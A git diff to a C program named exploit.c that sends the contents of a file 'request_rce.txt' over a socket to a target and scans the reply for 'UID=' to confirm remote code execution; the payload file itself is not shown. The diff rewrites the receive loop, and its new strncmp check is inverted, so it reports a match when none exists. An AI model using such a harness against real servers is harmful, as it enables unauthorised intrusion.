diff --git a/exploit.c b/exploit.c
index 53bf81a..72f3540 100644
--- a/exploit.c
+++ b/exploit.c
@@ -24,17 +24,16 @@ int main(int argc, char** argv){
   int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
   printf("ret_connect = %d\n", ret);
 
-  char buffer[1000];
-  memset(buffer, 0, 100);
-  
   FILE* fichier_out = fopen("request_rce.txt", "r");
   fseek(fichier_out, 0, SEEK_END);
 
   
   int size = fichier_out->_offset;
   char*	file_buffer = malloc(size);
+
   fseek(fichier_out, 0, SEEK_SET);
   fread(file_buffer, 1, size, fichier_out);
+
   for (int i = 0; i < size; i++){
 	  char	c = file_buffer[i];
 	  if (c == '\n')
@@ -43,22 +42,28 @@ int main(int argc, char** argv){
 		  send(fd, &c, 1, 0);
   }
   send(fd, "\r\n", 2, 0);
-  int n;
+
   printf("recv:\n");
-  const char* pattern_uid = "UID";
-  while (( n = recv(fd, buffer, 1000, 0)) > 0){
-	  buffer[n] = 0;
-	  int i = 0;
-	  while (buffer[i] != 0){
-		  if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){
-			printf("UID found\n");
-		  	break;
-		  }
-		  i++;
-	  }
-	  buffer[n] = 0;
-	  memset(buffer, 0, 1000);
-	  //printf("%s", buffer);
+  char	c = 0;
+  int n = 0;
+  char* text = calloc(1, 1);
+  int len = 0;
+  while (( n = recv(fd, &c, 1, 0)) > 0){
+	len = strlen(text) + 2;
+	text = realloc(text, len);
+	text[len - 2] = c;
+	text[len - 1] = 0;
+  }
+  int index = 0;
+  while (text[index]){
+	if (text[index] == 'U'){
+		if (strncmp(text + index, "UID=", 4)){
+				printf("pattern found\n");
+				break;
+		}
+	}
+	index++;
+
   }
   fclose(fichier_out);
   free(file_buffer);